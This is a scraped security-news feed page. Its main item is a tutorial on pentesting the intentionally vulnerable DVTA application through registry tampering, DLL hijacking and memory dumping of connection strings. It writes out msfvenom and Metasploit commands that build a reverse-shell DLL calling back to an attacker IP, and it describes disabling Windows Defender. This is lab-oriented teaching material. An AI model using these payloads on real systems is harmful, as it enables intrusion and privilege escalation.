Trending repositories on GitHub today · GitHub
Developer-Y / cs-video-courses

List of Computer Science courses with video lectures.

Language: unknown
Star:
Fork:

LAZYPARIAH — Low-Dependency CLI Tool for Generating Reverse Shell Payloads
https://skynettools.medium.com/lazypariah-low-dependency-cli-tool-for-generating-reverse-shell-payloads-97b217bc012f?source=rss------bug_bounty-5

Continue reading on Medium » (https://skynettools.medium.com/lazypariah-low-dependency-cli-tool-for-generating-reverse-shell-payloads-97b217bc012f?source=rss------bug_bounty-5)

LAZYPARIAH — Low-Dependency CLI Tool for Generating Reverse Shell Payloads

Continue reading on Medium »
Read more...

Hacking Articles|Raj Chandel's Blog
Thick Client Penetration Testing on DVTA

In the previous article, we have seen some methods to Analyze the Traffic of Thick Client Applications specifically in DVTA.

You can take a look at that article by browsing this link: - https://www.hackingarticles.in/thick-client-penetration-testing-traffic-analysis/<o:p

<o:p

In this article, we will perform some attacks to pen-test the application.<o:p

<o:p

Table of content <o:p

· Prerequisites<o:p

· Privilege Escalation <o:p

· DLL Hijacking <o:p

· Dumping connection string from memory<o:p

· SQL Injection <o:p

· Side Channel Data Leak<o:p

· Forensic Investigation: - Unreliable logs<o:p

<o:p

Prerequisites<o:p

· Attacker machine: - Kali Linux<o:p

· Regshot: - For Privilege Escalation<o:p

· Process Hacker: - To dump the memory strings<o:p

· Procmon from Sysinternal suite<o:p

<o:p

Privilege Escalation <o:p

<o:p

Regshot is a great open-source registry compare utility that you can use to compare the number of registry entries or installing a new software product so that you can easily take a snapshot of your registry and then compare it with a second. Let us see how we can use Regshot to figure out what modifications are done to the registry entries after running our application.<o:p

First of all download the Regshot application go going to the official site or you can directly download it from here: - https://sourceforge.net/projects/regshot/files/latest/download<o:p https://1.bp.blogspot.com/-0ST8w7KtU2E/YFi30_8f0dI/AAAAAAAAu2U/TNWRbAOCMk4SF1dOZYh1-p9X3-egKyWrwCLcBGAsYHQ/s16000/1.png Download and extract It into your system and open up 32 version of regshot <o:p https://1.bp.blogspot.com/-hm5uFQoU8nA/YFi34VOwxtI/AAAAAAAAu2Y/thZZhDeK5ocbuv9M4D3ITILQz34Nvr92ACLcBGAsYHQ/s16000/2.png After opening up the application choose the HTML document and take the 1st shot. So this should take a snapshot of all the registries entries. <o:p https://1.bp.blogspot.com/-HaY2B-TuMU0/YFi37xMzmkI/AAAAAAAAu2c/r9h-637WqfkImwm-uLahj7Ity-spowQQQCLcBGAsYHQ/s16000/3.png Once 1stshot is done open up the DVTA application and explores the application a bit by logging in to one of the user accounts and taking the profile information and after that we will take the second shot to observe the difference between the registry entries before running the application and registry entries after running the application. <o:p

Let’s open up the DVTA application and log in as Vijay or another user that you have created.<o:p https://1.bp.blogspot.com/-xQ4lMsQmk5Q/YFi4AW54-nI/AAAAAAAAu2g/vvFlWEwIODkAGclajOvyp7fILGGLkYreQCLcBGAsYHQ/s16000/4.png And then explore the application such as by clicking on View Profile or by checking expenses.<o:p https://1.bp.blogspot.com/-SZ0mGuR-m1o/YFi4ELXdTMI/AAAAAAAAu2k/zbZwOq2ztyMUwmQVfYyhnuiHVM3JRgLWgCLcBGAsYHQ/s16000/5.png <o:p

Now, let’s take a second shot to see what registries entries have been modified.<o:p https://1.bp.blogspot.com/-Ltzwh1FI5S8/YFi4Ju5aSbI/AAAAAAAAu2o/sB6Hmb6Cz94RwuatdFQqDQDENjsoh0exgCLcBGAsYHQ/s16000/6.png Ok, great 2ndshot also has been taken, let’s compare both of the entries.<o:p https://1.bp.blogspot.com/-KN6ahrXv76s/YFi4ND9sFcI/AAAAAAAAu2w/qqXEcZmndOUqGHHiiVZrVQCzcUTwThgBACLcBGAsYHQ/s16000/7.png It will show you an HTML file with all the differences between the 1st shot and 2ndshot. It will show you lots of entries. To make it easier to search for DVTA. When you apply the find filter it will show you some DVTA related entries. If you notice these are the registries entries that are modified while the application was running probably when we have logged in to the application at that time the DVTA application might have saved these values. You can s[...]

ee that initially, the user name was “null” after running the application the value Vijaywas added to this registry entry. Similarly, initially, the password was null, and “Vijay” was added after running the application. Basically, after logging in as Vijay the user name password was saved into the registry’s entries. Similarly, null has been replaced by “vijay@test.com” for the Emailentries and is logged in made “True” from falseas shown below.<o:p https://1.bp.blogspot.com/-DjrHagZ8k_M/YFi4QzTJxaI/AAAAAAAAu24/zENrpdqI7WsZGFn26AlmWWX5Hkkx2VA1ACLcBGAsYHQ/s16000/8.png <o:p

This brings us to perform an interesting attack. To do this open up this particular registry entry into the registry editor as shown below. As we can see there the value of IsLoggedIn is true so we can make use of this feature to log in as somebody else by changing the user name to Paras or whatever you want.<o:p https://1.bp.blogspot.com/-FaanTUpzpqo/YFi4UozOMxI/AAAAAAAAu3A/9-H6eygZg6ocI34s0yt1_nA_gKav6aD6QCLcBGAsYHQ/s16000/9.png Let’s see you can login or not into the DVTA application by using these registries entries. If the password is also going to verify by the client application you won’t be able to log in as paras. But if there are no checks made by the application to verify the password of the currently logged-in user account.<o:p

So, let's quickly check that we’re able to log in as paras or not.<o:p

As we can see we have successfully able to log in as paras just by tempering the registry entry. If you look at the view profile it is still showing Vijay’s Email ID because we didn’t modify that.<o:p https://1.bp.blogspot.com/-sDFM-ud7K5c/YFi4ZwXRRfI/AAAAAAAAu3E/SvL3qYv_tAoV6MGg8Z79hbFRObVcMOiUACLcBGAsYHQ/s16000/10.png Now we’re also able to communicate with the database by submitting expenses here. All you need to do is to go to Add Expanses then create an expense and save it as shown below. After saving it the data will be stored in the database.<o:p https://1.bp.blogspot.com/-zkUpi11wGvM/YFi4eN3gDGI/AAAAAAAAu3M/-L4hdqZav244n0BwGiYnAaT4PFs6BZvGwCLcBGAsYHQ/s16000/11.png You can also verify whether the data is successfully stored in the database or not. As you can see in the below image, we can retrieve data from the database successfully.<o:p https://1.bp.blogspot.com/-Lweza9GXV4c/YFi4hB_XuWI/AAAAAAAAu3Q/kS2wbQIGg0gWy3YeehGHjliLy78BpdFqwCLcBGAsYHQ/s16000/12.png This is how applications can make use of registry entries to save sensitive data and if attackers can find them, they can use them for different types of attacks.<o:p

<o:p

DLL Hijacking<o:p

<o:p DLL Hijacking is one of the commonly seen vulnerabilities. Now we have a question moving around is what is DLL. DLL stands for Dynamic Link Library. DLL files usually hold executable code that can be used by other applications so basically, they can act as a library that contains some code. When an application needs to use this DLL file and if the absolute path is not provided the application has to search for this DLL and if an attacker manages to replace this library or DLL with his own DLL from the same name as one the target application is looking for… it may load the attacker DLL instead of the library that application Is looking for and it may execute the malicious code placed by the attacker in the DLL file and this is known as DLL Hijacking.<o:pTo better understand DLL Hijacking we must understand how windows application find their DLL files when the full path is not provided.<o:pNow the question is how do we find if an application is vulnerable to DLL Hijacking.<o:p

Let’s test that with our DVTA application but before we proceed with that these are their assumptions let’s assume, we have an initial foothold on the target machine with low admin so we can easily manage to gain a shell on a windows machine where DVTA is running but th[...]

e problem is we got the access of windows with low privileges we don’t have admin access but we have found an application DVTA running with admin privileges. Now If this application is vulnerable to DLL Hijacking and we can exploit it then there is the highest probability that we will elevate our privileges to an administrator. Let’s do this <o:p

Firstly, open “Procmon” from Sysinternal suite <o:p https://1.bp.blogspot.com/-msnEeAV6-8c/YFi4kyLQjSI/AAAAAAAAu3U/01r4bcf3myAFWqhx4aH_-BhjXrVX0k0DACLcBGAsYHQ/s16000/13.png <o:p

By opening procmon it loads entries associate with all the processes. To reduce all the processes so let’s quickly apply a filter so that we will only see the data that we are interested in. To apply the filter, navigate to filter and apply the filter as shown below <o:p

· Process name is DVTA.exe<o:p

· Path ends with dll<o:p

· Result ends with NAME NOT FOUND<o:p

So that you are going to see only the process related to DVTA.exe<o:p

<o:p https://1.bp.blogspot.com/-UAi7CcuEDLo/YFi4o8gzORI/AAAAAAAAu3Y/xLwF7QnKUG8WMxEfb22c_DKZR4KbtmS5QCLcBGAsYHQ/s16000/14.png After applying the filter, quickly open the DVTA.exe and login into the application<o:p https://1.bp.blogspot.com/-0zkPmYE92vk/YFi4shC-sbI/AAAAAAAAu3c/5vPpl_uVCt4yRDgHdcukPyHAqs7lUwLEACLcBGAsYHQ/s16000/15.png We are basically finding out it is vulnerable to DLL hijacking or not. After log in to the application you can see a couple of entries were created in the procmon related to DVTA.exe. As you can see there it loaded two dll one is DWrite.dll another is SECUR32.DLL so basically, there are two DLL that are potentially usable for this attack.<o:p https://1.bp.blogspot.com/-GcrdAROiz1M/YFi4x0dZD1I/AAAAAAAAu3k/7REZ9aYcEYYYgVhb_YE3aafzz-CPIRsNwCLcBGAsYHQ/s16000/16.png Now the question is to check these two DLL are useable for us or not. To do this let’s go ahead and create a malicious DLL that gives a reverse shell.<o:p

To create malicious DLL open the Kali Linux and create a malicious DLL using msfvenom as shown below<o:p

Msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=4444 -f dll > DWrite.dll<o:p

<o:p

Then after moving this file to webroot so that we can download the DLL file In the victim machine by typing <o:p

<o:p

cp DWrite.dll /var/www/html <o:p

<o:p

and then start the apache service by typing <o:p

<o:p

service apache2 start <o:p

<o:p https://1.bp.blogspot.com/-rPHrLxhieww/YFi42ni1QNI/AAAAAAAAu3s/bRsyJXXaASMhis8aMNG3bb4dN2tx2A-UgCLcBGAsYHQ/s16000/17.png Let’s download these DLL files into the windows machine however, there is a problem these files will be flagged as a virus, and windows defender will not allow you to download them so we will have to disable windows defender for a while <o:p https://1.bp.blogspot.com/-BFAd6L2rClY/YFi47MvcqtI/AAAAAAAAu3w/yTBsZvbZLkMH8K8aSHWRt6l4U3AkmygxACLcBGAsYHQ/s16000/18.png <o:p

Now you good to download the DLL file by navigating to 192.168.0.108 in your browser <o:p

<o:p https://1.bp.blogspot.com/-kV8jgxy2Vgs/YFi4_kqqMlI/AAAAAAAAu34/KLqMBNvTPcwL88AaAsXNzSsocQujg2DAQCLcBGAsYHQ/s16000/19.png Now navigate to the Downloads folder and copy the Dwrite.dll file <o:p https://1.bp.blogspot.com/-x8kkMpeivZc/YFi5DvKy9FI/AAAAAAAAu4A/q6-axhtGruYWGzJTjo2Y26rvaa_T4SbSwCLcBGAsYHQ/s16000/20.png <o:p

And place it in the directory of the DVTA application <o:p

<o:p https://1.bp.blogspot.com/-H021CpTCKbQ/YFi5HZByiBI/AAAAAAAAu4I/w9pH7_QrbyEkZP-Mvf8Dm2ZDoHaufGz1QCLcBGAsYHQ/s16000/21.png Now come back to Kali Linux and setup Metasploit listener with the meterpreter payload. To do this type the following command <o:p

<o:p

msfconsole <o:p https://1.bp.blogspot.com/-GxcjY01EsQI/YFi5OfgexTI/AAAAAAAAu4M/C-jTrZs1UPgdLm09XesukzowrQjjtVYnQCLcBGAsYHQ/s16000/22.png <o:p

After opening up the msfconsole run the following command<o:p

[...]

<o:p

use exploit/multi/handler<o:p

set payload windows/meterpreter/reverse_tcp<o:p

set LHOST 192.168.0.108<o:p

set LPORT 4444<o:p

exploit<o:p https://1.bp.blogspot.com/-GwKuS1Dpt7Q/YFi5Tosc_dI/AAAAAAAAu4U/IbSMzGydGHsFqZ0GQ__f3JWcg3e659zRgCLcBGAsYHQ/s16000/23.png <o:p

Now, it should give us a shell when the DLL file is executed by the DVTA application. To do this go back to the windows machine and assume as an attacker….that you have placed a malicious file in the directory of the DVTA application and you will have to wait for the administrator to restart the DVTA application from its directory. <o:p https://1.bp.blogspot.com/-XC3oD9UUtRk/YFi5X7Vp8tI/AAAAAAAAu4c/WRZNXivj0zMdX6EqqTyklD8pQZwOLRRlQCLcBGAsYHQ/s16000/24.png So, now in this case we have to assume that the administrator came in and he opened the DVTA application. Here must remember one thing when the administrator tries to run the application is not going to open just due to that wrong DLL file that terminates the execution of the DVTA application.Now come back to the Kali Linux machine and where you can see we got a meterpreter shell <o:p

<o:p https://1.bp.blogspot.com/-MsjQzwTwzzI/YFi5i7dlkkI/AAAAAAAAu4k/_lsZeVMOc0sf4k_eb_fb_XHN4rE932mIACLcBGAsYHQ/s16000/25.png <o:p

But when the administrator tries to run the application that application will not be loaded so, maybe he tries to kill the process. To prevent from losing the shell let’s just quickly migrate to the stable process by running the following command <o:p

<o:p

ps<o:p

<o:p https://1.bp.blogspot.com/-ecZ_R0oSqLo/YFi5okdYI_I/AAAAAAAAu4w/TbLurdYot9oaXwQA0EWpirfmpt9_a9UzQCLcBGAsYHQ/s16000/26.png <o:p

Now quickly find a stable process according to your environment here I’m migrating to the process of explorer.exe <o:p

<o:p https://1.bp.blogspot.com/-uKpA58H9Mu4/YFi5vWFhwJI/AAAAAAAAu40/upBwsVwSJL4RDoRUIPIb1BmHPbcfMlf_gCLcBGAsYHQ/s16000/27.png <o:p

You can see there each process have their process ID. To migrate another process like explorer.exe run the below command in my case I’m migrating to process ID 8036 explorer.exe <o:p

<o:p

migrate 8036<o:p

<o:p

after running this command migration will be completed successfully and even the administrator goes to the task manager and kills the process of DVTA application just because the application was not loaded your session is not going to end also you can verify it by running the following command<o:p

getuid <o:p https://1.bp.blogspot.com/-Ppf2fb2lagQ/YFi52AJK8iI/AAAAAAAAu48/vrJ1oAVhml8h4qmk9O9138_7VbYE08LFwCLcBGAsYHQ/s16000/28.png <o:p

This is how we can exploit DLL hijacking vulnerability in Thick Client Applications.<o:p

<o:p

<o:p

Dumping connection string from memory<o:p

<o:p

As we have already seen two types of data storage issues in thick client applications one is storing sensitive data in registry entries and another one is hardcoded credentials. Now we are going to see another type of data storage issue that is predominantly seen in the 2-tier application that is finding database connection strings in memory. There are two scenarios to find these database connection strings.<o:p

Scenario 1<o:p

· A Clear text connection string may be hardcoded in the client application. So if you can somehow decompile the application or if you can find the strings in the application you may be able to identify this connection string.<o:p

· When the application makes a database connection that connection string has to be in memory so if you can dump the memory while the application is running it is highly likely that you will find the database connection string.<o:p

<o:p

Scenario 2<o:p

· A lot of applications hardcode the database connection string however they encrypt it. So, an attacker who decompiles the application can find the hard-coded string[...]

but it is not useable to connect to the database. <o:p

· in this scenario when you run the application the application needs to decrypt the encrypted connection string and that decrypted connection string will be seen in memory.<o:p

<o:p

In both cases, if we can dump the memory of the process, we should be able to find the clear text connection string in memory. When it comes to the DVTA application it comes under scenario 2. It contains a hard-coded connection string but the connection string is encrypted but when the application is being run it has to decrypt the encrypted connection string to be able to communicate with the database.<o:p

Let’s see how we can dump the memory of a specific process. There are multiple ways are present to do this but we are going to use a tool called process hacker.<o:p

You can download the process hacker tool by searching It on the web or you can download it directly from here.<o:p

Process hacker: - https://processhacker.sourceforge.io/downloads.php<o:p

We are going to download the portable binary here <o:p https://1.bp.blogspot.com/-eRWSp7cY5ao/YFi57dRgPcI/AAAAAAAAu5E/cC6Lv4vX_LYiIDb1-vr67tprW-B12E2cQCLcBGAsYHQ/s16000/29.png <o:p

Download and extract it on your working directory. We are going to use a 64bit version of this tool which is x64 but before that open up the DVTA application and log in to the application.<o:p https://1.bp.blogspot.com/--JmN2ZCRPMc/YFi5_YDcQxI/AAAAAAAAu5M/H93SIm0zvYE_GqnODJCuk-NDDxnaRVAxACLcBGAsYHQ/s16000/30.png Now, since we have connected to Vijay’s account this application has made some communication with the database so let’s run the Process hacker.<o:p https://1.bp.blogspot.com/-0RjTbWhARII/YFi6DPx5-nI/AAAAAAAAu5Q/hcaDPc4KxAwYvTb5WRhyO05AIg6q1tAAgCLcBGAsYHQ/s16000/31.png As we can see there are lots of processes. Let’s look for DVTA.exe because DVTA is running on another tab so we should be able to find it here as shown in the below image.<o:p https://1.bp.blogspot.com/-9ywKAKPiNJc/YFi6IENN8UI/AAAAAAAAu5Y/pZ5TIhKXYowQOjmysN0z5eU8kqB68EhuACLcBGAsYHQ/s16000/32.png <o:p

Give a double click to the entry of DVTA.exe and then open its properties.<o:p https://1.bp.blogspot.com/-nS7MQ2s5HZM/YFi6Nsz3h_I/AAAAAAAAu5g/TLZqqy0OEEcjK5LM-h5pV2nmH34p2LTlQCLcBGAsYHQ/s16000/33.png <o:p

After that go to the memory<o:p https://1.bp.blogspot.com/-fu56U30JqpQ/YFi6R-ctpjI/AAAAAAAAu5o/Wc_SErdQTHoRIkwoc3d3CrM2e-FE4gkCwCLcBGAsYHQ/s16000/34.png Click on the strings and then choose “image”and “mapped”.<o:p https://1.bp.blogspot.com/-BBOzaK2SwBw/YFi6WIAct2I/AAAAAAAAu5s/1LrGb6JpaAQnv5KMNBnNd_iY-hCyVTXpwCLcBGAsYHQ/s16000/35.png <o:p

Further, then it should find all the strings in the memory of this process. Now as you can see this is a very long list for us to search through so, what we will do is quickly apply a filter with something very common in the database connection strings. So we will apply the filter with the keyword of “Data source” typically database connection strings contain this word data source.<o:p https://1.bp.blogspot.com/-pqaWvcVQTkQ/YFi6baXj9AI/AAAAAAAAu50/-k2EuNHAj9IZmCZEYHcWmVO_QuNhCdTMACLcBGAsYHQ/s16000/36.png <o:p

After applying the filter, you can see a bunch of entries. As you can see there are multiple database connection strings with the decrypted password inside <o:p https://1.bp.blogspot.com/-NkgBb7jPvBI/YFi6fvBjkmI/AAAAAAAAu58/NtiE2YeufRweukr6NDaWuniLMVe38swcwCLcBGAsYHQ/s16000/37.png <o:p

Now copy that entry and paste it on the notepad. As you can see this is the connection string that contains the “user Id”and the “decrypted password”.<o:p<o:phttps://1.bp.blogspot.com/-Ur7KLeGlP5k/YFi6mVcvpNI/AAAAAAAAu6E/-Jt9BhN-bBojRBQUb5YTwc1P5ZlQTHwBACLcBGAsYHQ/s16000/38.png Now let’s see how we can make use of this particular database connectio[...]

Kali Linux Tutorials
Diceware Password Generator : Generate High Entropy Passwords

Diceware is a method used to generate cryptographically strong memorable passphrases. This is a python implementation of the diceware password generating algorithm. Inspired after watching this video. Note : This Program Do Not Store Passwords In Any Form And All The Passwords Are Generated Locally Inside You Device. How DPG Generate Passwords? Traditional Diceware uses […]

The post Diceware Password Generator : Generate High Entropy Passwords appeared first on Kali Linux Tutorials.

Hacking on Medium
Brute Force attack on a Web server’s login Page

https://cdn-images-1.medium.com/max/675/1*4nVfy6fjDajGtWxcNBfnMw.png
When i am trying out CTF challenges i.e.: Hack The Box, once i have completed my reconnaissance i,e: nmap, dirb. This is a process i…

Continue reading on Medium »

Hacking on Medium
Vulnerabilidad crítica de RCE encontrada en el software Apache OFBiz ERP: Parchar ahora.

https://cdn-images-1.medium.com/max/957/0*eyp2F-RuXyYKQ2vx
La Apache Software Foundation abordó el viernes una vulnerabilidad de alta gravedad en Apache OFBiz que podría haber permitido que un…

Continue reading on Medium »